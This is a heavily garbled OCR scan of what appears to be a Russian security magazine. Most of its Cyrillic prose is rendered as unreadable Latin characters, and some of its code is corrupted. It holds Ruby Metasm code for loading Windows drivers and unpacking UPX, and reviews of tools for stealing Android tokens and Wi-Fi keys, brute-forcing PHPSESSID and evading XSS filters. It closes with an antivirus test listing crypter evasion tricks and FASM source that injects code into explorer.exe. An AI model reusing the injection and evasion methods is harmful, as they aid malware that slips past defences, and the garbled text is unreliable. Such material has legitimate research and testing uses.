if (DynLdr.startservicea(rh, 0, 0) == 0)
raise "cannot start service"

end

# 3aKpbiTMe XeHANnoB B 06paTHOM nopsake,

# no Tuny LIFO (Last Input First Out)

DynLdr.CloseServiceHandle(rh)

DynLdr.CloseServiceHandle(sh)

end

# OYyHKUMA BbIFPY3KWU ApainBepa
def unloadmod(mod=$drv)
sh = DynlLdr.openscmanagera«
(8, 0, DynLdr::SC_MANAGER_ALL_ACCESS)
raise "cannot openscm” if (sh == @)
rh = DynLdr.openservicea«
(sh, mod, DynLdr::SERVICE_ALL_ACCESS)

OyHkuus ControlService() nossonser HaMm ynpasiaTh cepeuCaMm.
B kayecTBe napameTpoB npuHumMaeT xeHan rh u napametp SERVICE_
CONTROL_STOP, koTopbii1 ocTaHaBMBaeT CepBUC.

DynLdr.controlservice«
(rh, DynLdr::SERVICE_CONTROL_STOP, @.chr*4%32)
# Ypanaem cepsuc dyHkuueit DeleteService()
DynLdr.deleteservice(rh)
DynLdr.CloseServiceHandle(rh)
DynLdr.CloseServiceHandle(sh)

end

Halw ckpunT npuHuMaeT napaMeTpsl (CM. MOHbIA UCXOAHWK Ha AnC-
Ke) ANsh 3arpy3Ku v BbIFPY3KM COOTBETCTBEHHO. ECin e napameTps
He yKa3bIBalTCA, CKPUNT NPOCTO reHepupyeT fipaiBep, NpoBepss BHa-
yanie ero Hann4ve B Tekylien nanke. NTak, Tenepb eCTb BO3MOXHOCTb
AMHaMUYeCcKoi reHepaLmn ApaitBepoB U MaHUNYNALUN UMU Ha YPOBHe
A[,pa, eC/IN, KOHEYHO, Y Hac ecTb BCe NpaBa A4fIf ero 3anycka.

MOTPOLLUEHME MAKEPA

Hanocnepok Mbl 3aiiMeMcs pacnakoBKoi n3BecTHoro nakepa UPX.
B 3apauyy Halero ckpunTa OyaeT BXOAWUTL 3arpy3Ka ynakoBaHHO-
ro ucnonHsemoro gaitna B NaMaTb, MOUCK OPUTMHANBHON TOYKM
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BXxofa no AnsaccembnnposanHomy UPX cTaby B namatu, yctaHoBKa
npepbiBaHuii Ha OEP, Hy 1 HakoHel, famn pacnakoBaHHoro obpasa
Ha XECTKUI OUCK.

def find_oep(pe)
# Qusaccembavpyem cTab obpasa UPX anAa noucka
# cross-section jump’oB AnA HaxoXAeHUA OPUTUHANBbHOW TOYKM
# Bxogma (OEP)
dasm = pe.disassemble_fast_deep 'entrypoint’
return if not jmp = dasm.decoded.find { |addr, di]
# MNpoBepseM KaxAbll 640K AaHHbIX Y3/10B rpada
next if not di.block_head?
b = di.block
next if b.to_subfuncret.to_a.length != @ or «
b.to_normal.to_a.length !=1
to = b.to_normal.first
# WUrHopupyem npbKKKM B HecyllecTBywlWme ajpeca
next if not s = dasm.get_section_at(to)
# WrHopupyem npbXKM B AAHHON CeKLUu
next if dasm.get_section_at(di.address) == s
true

Tenepb Mbl UMeeM HopManbHbI jump [<agpec>, dil, 6narogaps
KOTOPOMY NOSIBASETCS BO3MOXHOCTb BOCCTAHOBUTb OPUrMHANBHYIO
TOYKY BXOAA:

dasm.normalize(jmp[1].block.to_normal.first)
end

B kauyecTBe npepbiBaHus byneM ctaButb hardware breakpoint
Ha OEP:

def debugloop

# OyHkumMa debugloop MCTUHHa, NokKa HeT agpeca TOYKMU BXoja
@dbg.hwbp(@oep, :x, 1, true) { breakpoint_callback }
@dbg.run_forever
puts 'done'’

end

def breakpoint_callback
puts 'breakpoint hit !
# CHumaem fJamn npouecca M3 naMATU, CO3[4aBafd MNpu 3TOM
# YyHMKanbHbIi McnonHaembln PE-dainn
dump = LoadedPE.memdump @dbg.memory, @baseaddr, @oep,
@iat
# 3arpysuquk ynakoswuka UPX pacrnakoBbiBaeT BCe [aHHble
# U3 cekUMM nomeyeHHbIX AnA YTenua (Read Only), cmeHuB
# mapkep RO Ha RW (Read Write) B 3aronoBke PE-daiina
dump.sections.each { |s| s.characteristics |= «
[ '"MEM_WRITE'] }
# Muwem pacnakoBaHHbIi 06pa3 Ha XeCTKWUA AMCK
dump.encode_file @dumpfile

B KoHLie co3aaeM QyHKLMIO 3arpy3Ku U yNpaBaeHns Xo40M pac-
nakoBKMW ynakoBaHHoro daitna. OyHkums initialize asnseTcs nHULK-
anusunpyiowein GyHKLMeN, B 3afa4y KOTOPOWA BXOANT: MOUCK TOUKM
BXOfa no fn3accemMbnnpoBaHHoMy cTaby, nepexof no Touke BXofa
Y NPOKPYTKa (Tpeiic) MHCTPYKL NIt O PACMaKoBKM OPUTHMHABHOTO KOAa
danna, cHaTue obpasa pacnakoBaHHOro Gaiina Ha KeCTKNIA LUCK.

def initialize(file, dumpfile, iat_rva=nil)
@dumpfile = dumpfile || 'upx-dumped.exe'
@iat = iat_rva
puts 'disassembling UPX loader...'
# CunTbiBaeM JaHHble 3anakoBaHHOro ¢ainna
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¢ [logpobHas
Prologue Prologue MHpopMaLus no
AMHaAMUYeCcKon
pekoMnuAALum:
bit.ly/UKgcJa;
¢ Atomic Opera-
tion (BBepenne
B aTOMapHble
onepauuu): bit.

RDTSC ly/SRtydt;

Traitement * Static Bi-

des donneesA nary Translation
HOWTO: bit.ly/
hynlég;
¢ University of
Queensland Bi-
Traitement Traitement nary Translator:
desdonnees B desdonnees B bit.ly/SRtBWy;
* Reverse
Epilogue Compilation

Techniques: bit.
ly/QioqTP;
* cTPaHuua

npoekta Metasm:
metasm.cr0.org;
* ryMaHHoe
coobuectso
Ruby’cToB: ruby-
lang.org.

Epilogue

WUccnepoBanme cTpykTypHOM Aeobdyckaumun

pe = PE.decode_file(file)

# Wwem TOYKy BXoAa

@oep = find_oep(pe)

raise 'cant find oep..."' if not @oep

puts "oep found at #{Expression[@oep]}"
@baseaddr = pe.optheader.image_base

@iat -= @baseaddr if @iat > @baseaddr

# 3anyckaem OTNafuvK NS YCTAHOBKM XapABapHbIX
# 6peiiknouHToB M Tpeica (dyHkumsa debugloop)

# WHCTpYKUKIA

@dbg = 0OS.current.create_process(file).debugger
puts 'running...'

debugloop

end

EQMHCTBEHHOE, YTO 0CTAeTCs BbIMOMHUTL A1 BOCCTAHOBNEHUS
NoNHOLEeHHON paboTocnocobHOCTH, — 3TO BOCCTAHOBUTbL Tabnuuy
“MnopTa pacnakoBaHHoro daina, Hanpumep ytuauton ImpRec.
YnakoBsuuk UPX Mbl Bbibpanu B KauecTse NpoTeKTopa He ClyyaiHo.
B npuBefieHHOM NpuMepe BbIMONHAOTCSH NPaKTUYECKN BCE CTaH-
LapTHble QYHKLMM pacnakoBKM, KOTOPbIe MOTYT MCNO/1b30BaTbCH
W B IPYrMX yNakoBLuKax/kpunTopax. Mo cyTu, 3TU NpMHUMMLI pacnpo-
CTpaHsioTcsa Ha 95% CyLLecTBYIOLLMX MPOTEKTOPOB, KOTOPbIE Kak pa3
Taky B 6ONbLIMHCTBE CBOEM Yepnanu BLoXHoBeHWe uMeHHo 13 UPX.
BTopbIM HeManoBaXHbIM MOMEHTOM SIBSETCS MybTUNNATHOPMEH-
HOCTb 3TOT0 YMaKOoBLMKa, CXaTue nogaepxusaetcs kak ans PE COFF,
Tak n gns ELF-dopmMaToB, a BMecTe ¢ TeM pacnpocTpaHATCs U Me-
TOZbl pacnakoBKM Ha *nix-cucTemsl. MocnegHue 5% cyllecTByoLWmUX
NPOTEKTOPOB, KOTOPbIE HEMHOTO OT/IMYAKTCA MeTOLaMU YNaKOBKM
LlaHHbIX, — 3T0, HaBepHOe, BUPTyanun3aTopbl KoLa U KpUNTOpbI C Nep-
MyTUPYIOLWMM ABVKKOM. [1N5 nepBbiX CyLecTBYOT TabauLbl ¢ onko-
namun VM-aBUXKKOB, AN1F BTOPbIX MOXKHO UcMob3oBaTh VM Halwero
bpelrimBopKa.

MPOYME BO3MOXHOCTH

Metasm npepocTaBnseT cpefy A5 BONOLWEeHUS 601bLIOrO KON-
yecTBa MAeN, CBA3aHHbLIX He TO/IbKO co chepoit uHbobesonacHocTy.
CywiecTByeT psifi HEPELLEeHHbIX aNropUTMUYECKNX 3834 B TeOpUm
KomnunaTopoB. HanucaHHbi Ha Ruby, ppenMBopK NnpefocTaBaseT
BO3MOXHOCTb pelleHNs 3TUX CaMblX 3a/ia4 He CaMbiM YeN0BEYHbIM
1 O0M-wHbIM 0bpa3som. [lep3aii! 3
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[ WARNING|

Bcs nndopmauus npepo-
CTaBNIeHa UCKNIOYUTENbHO
B 03HaKOMUTENbHbIX
uensx. Hu pegakums,

HU aBTOP He HecyT oT-
BETCTBEHHOCTH 3a Nto6oil
BO3MOXHbIii Bpes, npu-
YMHEHHbIW MaTepuanamMmu
LLaHHOM CTaTbMu.

cooTANAB3JIOMAUAHAJIU3ABE3O0IMNACHOCTHU

1} Steal Ppp data
2¥ Eteal Gongle dals

sh run.sh AsTop:
leome Lo pip-adl Kyle Osborn
etl's break some stuff. URL:
Halting for phane 16 cohnse https://github.com
pihwal o igoi wand o oo Tode kosborn/p2p-adb
B} Check If root Cucrema:

Android/Windows/
Linux

3) Steal Camera
d) Staal Jeiis 3
m) Emlt

Chaatss il o D 1

PHONE-2-PHONE ADB FRAMEWORK
Hu pns koro He 6yneT HOBOCTbIO, HO 6OMbLIMH-
cTBo Android-geBalicoB nocjie Toro, Kak nonaga-
0T B PyKM Monb30BaTesIed, MPOXoAAT MHMLMALNIO
nof HassaHueM pyTosaHue :J. U ewje npu atom
0CTaBNAT akTMBMpoBaHHbIM ADB (Android
Debug Bridge). YTo xopoluero B pyToBaHHOM
Android-ycTpoiicTBe, 3HalOT BCe, @ BOT YTO MJ10X0-
ro — Maso KTo...

Ha nene BbIXOAWT Tak, YTO €CNM YCTPONCTBO
pyTOBaHO, MeeT akTUBMpPOBaHHbI ADB 1 Bbl
Ha CeKYyHAY OTBJIEK/IUCh, TO Bbl MpOMrpany
BUMCTYt0. A leN1aeT 3T0 BO3MOXKHbIM U J1erko
BbINOJIHUMbIM TaKON NPOEKT, Kak dperMBoOpK
p2p-adb. OH npepcTaBnsieT coboi Habop ckpun-
ToB anst ADB, nopTupoBaHHbix Ha Android. Tak
4TO MOXHO BbICTpO € noMolybio Micro-USB 0TG
kabens ogHuM Android-ycTpoiicTBOM NOALENNTb-
CS K ApYroMy v BbIMOJHUTb 3anporpaMM1MpoBaH-
Hble feicTBMS. /3 yXKe peann3oBaHHbIX Harpy3ok
MOXHO BbIJeNNTb TaKue:
* Kpaxawus/data/data/*n/sdcard/Android/data/;
e oJiyyeHune GOTOK C KaMepbl;
e kpaxaGoogle AuthTokeHos;
e Kkpaxawpa_supplicant.confukniouei;
e ycTaHoBKaNboro APK.

Take B Habope NpucyTCTBYeT NpUIoXeHe
AntiGuard gns obxopna KeyGuard. B obwem, pea-
n1308BaTh juice jacking BEKTOp € 3TUM GpenmMBOp-
KOM CTasio npotye NpocToro.

ABTopbI:

Apcehnii PeyTos,
Tumyp HKOHycos,
OmuTpuit Harnbun
URL:
downloads.ptsecu-
rity.ru/PHPSESSID_
Bruteforcer.zip
Cucrema:

Windows

| 2

BPYTOOPC/M PHPSESSID SEED
Mporpamma PHPSESSID Seed Bruteforce co3pa-
Ha AN nofbopa cMAaa Mo M3BECTHOM XeLl-CyMMe
MD5 B dpopmaTe 4, 5, 6 6UT Ha cumBon. Takxe
nporpaMma obnapfaet GyHKLMER nHBEPCUY,
HeobxofMMON AN nepeBofa NonayyYeHHON XeL-
CyMMbI B ncxofHyto MD5-nocnefoBaTeNnbHOCTb.
Mckombiit Seed coctonT us (Client IP. timestamp.
microseconds1. php_combined_lcg()), rge Client
IP nsBecTeH, timestamp ussecTeH (3aronosok
Date B oTBeTe Beb-cepsepal, microsecondsl —
3HayeHwne ot 0 go 1 000 000, a php_combined_
lcg() nonyyaerca n3 AByx cupoB:

_— e |

S1 = timestamp XOR (microseconds2 << 11);
S2 = PID XOR (microseconds3 << 11).

MpuMep 3HayeHwns: 0.12345678.

Y1066l nonyynTs PID, MOXXHO BOCNONb30BaTh-
csi TakoM WTyKom B Apache, kak server-status,
KoTopasi NoKa3biBaeT — NOMUMO Npoyeit NHop-
MaLun — «MuAbl» NPOLLeCCcoB, 00CNyXuBalowme
3anpockl KJIMEHTOB, YTO MOXET O4EHb MPUro-
ouTbcs. Takum obpasom, 6pyT MD5 PHPSESSID
3aksyaeTcs B nogbope microseconds, genbt
nocnefytouinx 3aMepoB microseconds, a Takxe
PID. OcobeHHoCTM NporpamMmsi:

e CO34aHMe pacnpefeneHHon ceTu

HaknacTepe;

* BblYMCJIEHME CUCMONIb30BaHNEM

TexHonormum CUDA.

ABTop:

Mauro Gentile,
Fabrizio d’Amore
URL:

snuck
Cucrema:
Windows/Linux

3

XSS BE3 LLUEJTYXW

Snuck — 3T0 aBTOMaTU3NPOBAHHbINA UHCTPY-
MEHT, KOTOPbI MOXET NOMOYb B noncke XSS-
ysi3BUMOCTel B BED-NpUnoxeHnsx. IHCTpyMeHT
ba3upyeTcs Ha npoekTe Selenium v nofaepxu-
BaeT Firefox, Google Chrome u Internet Explorer.
Vcnonb3yeMblii NOAXO0A 0CHOBaH Ha peakLuu
NPOBEPSEMOro KOHTEKCTa Ha MHbEKLUIO B HEro
No/b30BaTENbCKMX BaHHbIX. [1pn 3TOM MHCTpY-
MEHT 3a[lelCcTBYeT crelnanbHblii Habop 0bdyc-
LIMPOBaHHbIX aTaKyloLMX BEKTOPOB A5 06xopa
pasnunyHbix punbTpoB.. MpoBepka Hanuunsa XSS
WAeT NpsiMo B peasbHoM bpay3epe, Bocnpo-
13BOAMTCS NMOBEAEHWE KaK aTaKyloWero, Tak

v xepTebl (Bce 6narogaps Selenium). Ha gaHHbii
MOMEHT UHCTPYMEHT NoAAepXNBaeT HECKOJIbKO
roToBbix XSS-BEKTOPOB (HO HUYTO He MelwaeT
n06aBnTbL cBOM):

e html_payloads;

e js_alert;

e uri_payloads;

e expression_alert_payloads.

3anHTepecoBaBLWMMCS COBeTY 0bpaTnTbCA

K TexHuyeckoMy otyeTy Automatic and Context-
Aware Cross-Site Scripting Filter Evasion

0T aBTOPOB, OMUCLIBAOLLUX METOAOOT IO,
OLLEHKY 1 peanu3aumio CBoero MHCTpyMeHTa.
Tak)xe nporpaMMa ConpoBoXAaeTcs MOAPOOHbIM
PYKOBOACTBOM, 6n1arofaps KOTOpoMy HayaTb UC-
nosb30BaTb MHCTPYMEHT O4EHb NPOCTO.
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7 YTUNNT oNnga uccnepnoBaHna 6esonacHocTn

BOEBOM KOMMEKC 1A FILE FORMAT ®A33/HIA

The CERT Basic Fuzzing Framework (BFF) — YHVKanbHble nageHns. py 3ToM BO3MOXHO

3TO UHCTPYMEHT 151 NOUCKa fedeKToB, CBS- LanbHeilee n3mMeHeHne daiina c uenbio

3aHHbIX C HenpaswbHoi 0bpaboTkon painos MOHSITb, KaKoW MMEHHO y4acTok daina K Hemy

nporpammamu, pabotatowmm B Linux n Mac npuBoauT, — 3aaknii PoC-meiikep. Mpu no-

0S X. lns co3paHus TecT-KeicoB UCMONb3yeT- mowwm Callgrind aBToMaTyeCKM A15 KaXA0ro

cs MyTauus. Bce cuctema BbinosHeHa B BUAe Kpalla CTPOMTCS Tpacca BbI30BOB, Tak 4T0 UC-

roTOBOV BUPTYasbHOM MaLUuHbI nog Linux KaTb ¥ aHaNM3MPOBATb NPUYMHY NAAEHUS

1 B BUe ycTaHoBoYHoro darnna nog Mac. lMpo- CTAHOBUTCS eLLe npoLue.

eKT MMeeT psif, 0CODEHHOCTENR, KoTopble 04eHb Eule ofHa KpyTas GpuLLKa NpoeKTa — UH-

HYXHbI, HO KOTOpble PefKO BCTPETULLb B @aHano-  CTpyMeHT callsim, koTopbiil Ha 0CHOBaHMM BCex

TMYHbIX NporpaMMax. Ha Hux 1 octaHoBUMCS. Tpacc BbI30BOB, NPUBEALLIUX K NafeHuto, CTpo-
MopfepXka MUHMMU3aLUW aBapUil — UT AMarpamMMy 3aBUCUMOCTEN UX YT OT Apyra.

bain, NpUBOAALLMIA K NafieHWI0 MPOrpaMMBl, C noMoLLblo LaHHOro NpoeKTa bbinK HalkaeHsl

nocTeneHHo obpesatT A0 Tex Nop, Noka yS3BUMOCTM B TakMX NPpoAyKTax, kak Adobe

He noslyyaT HauMeHbLW A daiin, NPUBOASALLNIA Reader v Flash Player, Foxit Reader, Apple

K nageHuto. A yeM MeHblue daiin, Tem npolue QuickTime, Preview; B Mac 0S X: Xpdf, Poppler,

HaNTV NPUYMHY TaKOro NoBeLeHUs Nporpam- FFmpeg, JasPer, Wireshark, VMware VMnc

ABTopbi: CERT

Mbl. ,El,a W KaK NMoKa3blBaeT onbIT, Npun Takow
MUHUMN3aLUKN HOpOIZ MOXHO HalTU U npyrue

video codec, the Indeo video codec v MHormx
LpYyrux.

URL: www.cert.org/vuls/discovery/bff.html

CucteMma: Linux/ Mac 0S X

ABTop:
Kyriakos Economou
URL:

www.anti-reversing.
com/download
Cucrema:

Windows

4

AHTUOTITAOKA — 3TO MPOCTO
OcHoBHYo YacTb BpeMeHM Npu pa3paboTke cBo-
ero npoekTa pa3paboTynky yaensaoT GyHKLymo-
Haly U KayecTBY KOAA, YTO, ECTECTBEHHO, 04EHb
nornyHo. Ho aTo BCe MOXeT NOMTKM B TPyDy, ecan
KTO-TO CJIOMAET 1 BbISIOXKMT B OTKPbITLINA JOCTYN
KPSKHYTYI0 BEPCUIO UNK, pa3peBepcuB, Co3aacT
1 byneT npofaBaTh NOMHbIA aHanor. ToNbko Kpyn-
Hble KOMMaHWU MoryT cebe Mo3BoNUTL XopoLuune
MPOTEKTOPbI MW OTAENIbHbIX CMELMANNCTOB MO
KOHKPETHBbI TUN 33[,a4 — 3aLUTy COBCTBEHHOrO
Kofa. Y1o fenaTb BCEM 0CTaNbHbIM?

OTBeT: ucnonb3osaTb A.R.F Project, Takxe
13BeCTHbIN Kak Anti-Reversing Framework. C no-
MOLLbIO HEr0 MOXHO A06aBUTb [JOMOAHNTEbHBbIN
C/I0¥ 3alUMThl BHYTPb KOA4A CBOETO NPUIIOXKEHUS
1 TEM CaMbIM Cpasy YCN0XKHWUTb UCCNef0BaHNe
npunoxenus. MpoekT peannsosaH B Buae bnubnu-
0TEKM ¥ UMeeT chefytownit yHKLMoHan:

e obHapyXxeHue 0TNaAYMKa;
e obHapyxeHueVM;

e obOHapyxeHue SandBox;

e oOHapyxeHue Breakpoint;
e CheckSum-kanbkynatop;
* TexHukuAntiAttch.

KpyTbix npodeccroHanos 370, KOHEYHO, He ocTa-
HOBUT, HO HOBMYKOB 0TCeeT TyT Xe. CTouT oTMe-
TWUTb, YTO MPOEKT PaCNpoOCTPaHAETCS C OTKPbITHIM
MCXOAHBIM KOLOM W C 04eHb XOpOLLEel JoKyMeHTa-
LiMeW, B KOTOPO 04eHb MpocTo pa3obpaTbes.
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AsTop:
Aptyp lepkuc
URL:
= https://github.com
e — ax330d/pvt
T — Cucrema:

Linux/Mac 0S X

TPEVNCUM N BU3SYATIU3NPYEM
PABOTY PHP
AypuT Beb-npunoxeHunin, ocobeHHo MOHCTpOB
a-ns WordPress, — 370 TpyfoemMkas 3afava,

1 6e3 conyTCTBYIOLMX MHCTPYMEHTOB He 060~
TUCb, HaYe NccieoBaHne ThiCAY CTPOK Kofa

He MOXKET bbITb MONMHOLLEHHbIM MW BbIMOJHEHHbIM
B pa3yMHble Cpoku. [1ns 3Toro ecTb cneyunanbHble
YTUAWTBI, HO CMEKTp pellaeMblX MMI 3aay y30K,
OHW He pa3pabaTbiBalTcs 6onblie UK He Npeg-
Ha3HaYyeHbl KOHKPETHO AN HaLLen Lienn — nowc-
Ka ysi3BUMOCTEN.

BocnonHsietT npoben HefaBHO BbieALWLNIA
MHcTpyMeHT — PVT nnu PHP Vulnerability Tracer.
370 paclwwpenue ans PHP ans ayguta Beb-
npunoxeHuii. CocTonT 13 MOAYNEN, BbIMOJIHSAO-
WX cneayloline 3agaun:

e TpaccupoBKa yHKLUI 1 BMU3yanusauns no-

TOKa BbIMOJHEHUA NPUOKEHUS;
® [laMN ONKoAo0B;

* [aMnnepeMeHHbIX;
®  MOWCKANHAMUYEeCKM BbIMOJHSAOLWMUXCSH CTPOK
Tvnaeval() v MeTok BapryMeHTax GyHKUMNA.

[ns Kaxnoro Moayns v paclunpeHus UMerTCs
LOMONIHUTENbHbIe HaCTpoiiKKW. Paclunperue
nposepeHo B Bepcusx PHP 5.2, 5.3. 0T nonb-
30BaTeNs BCe ewe TpebyeTtcs pyyHas paboTa

¥ MO3roBasi akTUBHOCTb, HO UHCTPYMEHT Cylie-
CTBeHHO obneryaeT NoMcK yi3BUMOCTe B Be6-
NPUNOXEHNSAX.

ABTop:

Daniel Pistelli

URL:
ntcore.com/exsuite.
php

Cucrema:

Windows

6

PE-OAWJTIbI KAK HA JTALOHWU

[pu pelweHnmn crackme nunv npu nccneposaHum

BUHapHOro NPUIOXEeHUs NPABMUILHO HAYMHATb

paboTy C aHann3a 3arosoBKa UCMOJTHAEMOTO

¢danna. Ecnv He 3HaTb, 4To cKpbiBaeT B cebe PE-

dopMaT, To MOXKeT NoKa3aTbCs, YTO 3TO He HeceT

nosesHon MHGopMaL MM Npu aHannse npuo-

XeHus. Ha caMoM flene faHHbIi dopMmaTt umeeT

MHOTO HEJOKYMEHTUPOBAHHbIX UMW MI0XO0 LOKY-

MEHTMPOBAHHbIX U HEMOHATHbIX NoJieit. Ho Ha no-

MOLLLb K HaM WAET He NporpaMMma, a WeeiiLapcKui

Hoxuk — CFF Explorer. lporpamMma npegHa-

3HayeHa ang aHannsa PE32/64 ucnonHsaemslx

balnoB c NoNHOM NOALEPXKOM apxuTekTyp x86,

x64, Itanium. B CFF Explorer BxogsT:

e PE-nHEX-pepakTopbl;

* pefaKkTop pecypcos;

*  pefakTopMMMopTa;

® CUTHaTypHbIN CKaHep;

* KOHBEpTEpajpecos;

e nusaccembnep;

* aHanM3aTop 3aBUCMMOCTEN

® aHaNM3aTop 3aBMCUMOCTEN U elLle MHOTO Yero
nosesHoro.

Takxe 310 nepBbiii PE-pegakTop, KOTOpbIN No-
HUMaeT BHyTpeHHue cTpykTypsl NET (Hanpumep,
MaHubecTsl). [porpaMma noaaepxunBaeT naaruHbl
1 UMeeT CKPUMTOBBIN S13blK, KOTOPbIN yripoLjaeT
noscefHeBHble 3aaayu. [1o nrpam c PE coseTyto
obpatutbcs K npoekTy Corkami (is.gd/Rvjmval.
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MALWARE

TECTUPYEM ABEPbI
HA NPEAMET
NMPOTUBOCTOAHUA
SALLULUOPOBAHHOMY
BPEAOHOCHOMY KOAY

C Tex nop Kak Mbl BNepBble BAAPUIN KpUNTO-
POM M0 CaMbIM MOMYNSPHBLIM B HalleM oTeyecTBe
aHTMBWpYycaM, npoLuen rof. Y7o xe 3a 3T0T rog
n3MeHunoco? KTo ctan yMHee, KTo cTan xutpee?
KoHeyHo xe, Tonbko Mbl! (Crioinep: HeoXugaH-
Hble pe3ynbTaThl inside! — EBrexuni, Ha bymare
TBOI cnoinep He nponevataetca! — MNpum. pea.)

MPEJNCTABJIIAEM VCTIbITYEMbIX

JInua aHTMBUPYCOB, KOTOPbLIE Mbl CEFOLHS MOABEPrHEM UCMbITaHUIO,
BCEM 0YEeHb XOPOLLO N3BECTHbI:

e AnTuBUMpyc Kacnepckoro2012;

e ComodoInternetSecurity Pro2012;

e DrWeb?7.0;

e AvastFreeAntivirus 7.0;

e NOD32SmartSecurity5;

e AviraFreeAntivirus;

e MicrosoftSecurity Essentials.

Bcero cemb npeTeHAeHTOB Ha 3BaHWe Jy4Llero Tpy)XeHukKa bec-

KpaiHUX none 3awMPpoBaHHOr0 BPEJOHOCHOTO KoAa. MTak, HauHeM...
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EBrenuit lpo6oTyH (drobotun@xakep.ru)

METOONKA TECTUPOBAHUA

B kauyecTBe NpuMaHKu ANg aHTUBUPYCOB BbICTyNaeT NporpamMma, BHe-
Apsiolas kog B npouecc explorer.exe (knaccuka xaHpa, onvcaHHas 8o
BCeX NocobusiX Mo HanucaHuio BPeAOHOCHOr0 KOfa, — MOUCK HYXXHOro
npouecca no UMeHK OKHa, fanee nocnefosatenbHocTb API-QyHKumi:
VirtualAllocEx, WriteProcessMemory 1 CreateRemoteThread). BHeppeH-
HbI/ KOJ, BbIBOAWT OKOLLKO, CUTHaNN3mpytoLiee 06 ycneLwwHoM BHeApeHN.
Mo npee, nioboe HecaHKLMOHMPOBAHHOE BHEpeHNE MOCTOPOHHEr0

Koga B npouecc explorer.exe (04HO U3 caMbIX NOBUMBIX MECT Y pasny-

HOro poAa Mansapu) He Lo/KHO 060MTUCH Be3 BHUMaHUS aHTUBMpYC-

HbIX MPOrpaMM.

Bcero nposefemM BoceMb TeCTOB, MOCTEMNEHHO YCI0XKHAA YCI0BUS:

e TecT1./cxoaHasd nporpaMma-npuMaHka c npsaMbiM Bbi3oBoM API-
byHKLKIA, be3 Kakux-nmbo npn3HakoB WndpoBaHua.

o TecT2.HesABHbI BbI30BAPI-dyHKLUWI CUCNONb30BaHMEM
GetProcAddress, 6e3 wudpoBaHusa Kofa v LaHHbIX.

e Tect3.llporpamMMaun3 BTOporoTecTac3aWwndpoBaHHOW CeKLnei
AaHHbIX. Anroputm wndposanus —XOR c knoyom OFFh. Kpuntop
HayunHaeTpaboTynoToyke BxoAa.

e TecT4.loMUMO LUNPPOBAHUA CEKLMUN AaHHbIX, A0OABUM LWNPpPO-
BaHuWe cekunm kopa. MpuHumn paboTel KpunTopa ocTaBnseM be3
M3MeHeHU.

o Tect5.llndpyeMunkon, njaHHble, BCe TEM XKe anroputMoM. Kpun-
Top BbI3biBaeTcs Kak callback-dyHkuyms s TLS-Tabnnybi.

e Tecté.llpuHunn wndposaHusg ocTaBnsieM be3 nuaMeHeHuns, a
kpunTtop nomeliaeM B SEH-06paboTunk 1 BbI3bIBaEM C MOMOLLbIO
NCKITIYEeHNS.

o Tect7.lUndpyeMukon, n sanHole. Anroputm sce ToTxe XOR, Ho
KJ04 ;0CTaeM U3 60JIbLLIOTr0 aHTUIMYNALMOHHOrO LUK a.

e Tect8.lLnppoBaHue cekUnn Kofia U CEKLMU LaHHbIX Pa3HbIMUW al-
ropyTMaMMu, C pasHbIMU KJT04aMK, PU 3TOM KJTKUY BbIYUCTIAIOTCS
noutoram paboTbl HECKONIbKMX @HTUIMYNALMOHHbIX NpreMos. [o-
MWUMO 3TOr0, B CEKLLMIO laHHbIX ,06aBaEHbI HECKOIbKO GUKTUBHbBIX
CTPOK, KOTOPble He Mo BepraTcs WrdpoBaHuio.

Bce TecTbl HanucaHbl Ha FASM'e, a HeobxoguMble npeobpazosaHus
CKOMMUIMpoBaHHOro koaa (go6asnenune TLS-Tabnuuybl, coxpaHeHue
3aWNGPOBAHHOMO KOAA U AaHHbIX) MPOAEaHb C UCMONb30BAHNEM
OllyDbg.
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MNMpousesseHo sHeapeHue koaa B explorer.exe

Pe3ynbTaT paboThbl Halero «BpeA0HOCHOr0» Koaa

AHTWBMpPYCHble NPOrpaMMbl YCTaHABANBANCh C NapaMeTpamy
1 KOHOUTYypaLMeit Mo yMoNYaHuio, Npy 3TOM NPOBEPSAach peakLus

aHTMBMpYCa NpU CKaHWPoBaHUM daiina u peakumns aHTUBMpYCa Ha no-

MbITKY 3anyCKa Hallero «BpeLoHOCHOro» Kofa.

Kak Mbl y>xe ropopuan, B nepBoM TecTe HeT HUKaKUX NPU3HaKoB LI.IVI(b-

poBaHug, BCe LnencTBo NnponcxoanT NpocTo U I'IpﬂMOJ'IVIHeﬁHO. BoT oH,
MCXOAHWK NepBOro Tecta B NOJIHOM Bupe:

include 'win32ax.inc'
.data

;Havano BHegpsemoro kopa
InjectCode:
;BbluMCnsemM penbTa-cMmeleHne
call Delta
Delta:
pop esi
sub esi, Delta
;FoToBMM napameTpbl Bbi3oBa MessageBoxXA ¢ y4yeToMm fenbTa-
; CMeleHns

push 0

leaeax, [esi+caption]
push eax

leaeax, [esi+text]
push eax

push [%]
call[esi+p_MessageBox]
ret4d

p_MessageBoxdd ?

textdb ‘'MpousBepseHo BHeppeHue koaa B explorer.exe', ©
captiondb 'WHxekT koma', @

EndInjectCode:

;KoHel, BHegpsaemoro kopga

NameWindowdb 'progman', ©
ProcessHandle dd ?
InjectAddr dd ?
ProcessId dd ?
.code
;Pa3mep BHegpsemoro Kopa
InjectSize = EndInjectCode - InjectCode

start:

;Monyyaem ykasaTenb Ha MessageBox
mov eax, [MessageBox]

mov [p_MessageBox], eax

;Vwem npouecc explorer.exe

invoke FindWindowA, NameWindow, ©

invoke GetWindowThreadProcessId, eax, ProcessId
invoke OpenProcess, PROCESS_ALL_ACCESS, ©, [ProcessId]
mov [ProcessHandle], eax
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;U BHeApseM B Hero Koj
invoke VirtualAllocEx, eax, @, InjectSize,
MEM_COMMIT+MEM_RESERVE,

PAGE_EXECUTE_READWRITE

mov [InjectAddr], eax

invoke WriteProcessMemory, [ProcessHandle], [InjectAddr],
InjectCode,InjectSize, ©

invoke CreateRemoteThread, [ProcessHandle], 0, 0,
[InjectAddr], 0, 0, ©

invoke CloseHandle, [ProcessHandle]

invokeExitProcess, ©

.endstart

Hapetocb, 3TOT KOA NOHsTEH Tebe be3 AONONHUTENBHbIX MOSCHEHNI 1
NOHATUS fiefibTa-CMeLLeHns 1 Ha3oHe3aBUCMMOro Koaa (a MeHHo Takum
W BOSKEH BbITb MOPSLOYHbIN BHEAPSEMbIA KOA) HUKAKMX BONPOCOB He Bbl-
3Banu. Ecnu aTo He Tak, To Tebe NpsiMas fopora Ha wWasm.ru, Tam exuT
[0CTaTOYHO MHOFO MaTepuasna v Npo caM BHeAPSEMbI KOf, U NP0 UHXEKT
3TOr0 Kofja B npoveccsl. OTKOMNMUAMPOBAB KOA, CKApMIIMBAEM ero Mo
